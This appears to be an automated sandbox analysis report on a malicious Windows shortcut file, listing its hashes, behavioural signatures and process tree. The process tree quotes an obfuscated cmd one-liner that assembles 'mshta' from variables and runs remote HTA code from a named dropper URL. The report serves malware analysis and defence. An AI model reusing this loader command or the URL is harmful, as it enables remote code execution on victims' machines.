Analysis
- max time kernel
148s - max time network
117s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:21
Static task
static1
Behavioral task
behavioral1
Sample
DOC-189I94.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-189I94.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-189I94.lnk
- Size 1KB
- Sample260804-j9f2jsveke
- SHA256 6092251f654068599f2107f357bd78b626f7984b219a9644bcd1e8f00406f4cc
- MD5 5b93c23de6b44557a14c5f259a00dc46
- SHA1 9ac641b67ce1c6af1e970a052d06b0e09057cfb5
- SHA512 4c617ed871536fe80f0f66fe9f635076b521d45d3ae31b224c5962a40f46f048bd62a7730e3ae2706553553c6d2f3e54f2fb421c0e06b44c51263123b776db76
- TLSH T10E3197002FED0624F3B38E7388BB572089BBB8A68D20CB2D0080464C5132A15E13AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4956 cmd.exe 4720 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4956 wrote to memory of 4720 4956 cmd.exe 90 PID 4720 wrote to memory of 4408 4720 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-189I94.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set xObyD=msh&&set EJ=ta&&start "" !xObyD!!EJ! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4720 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4408
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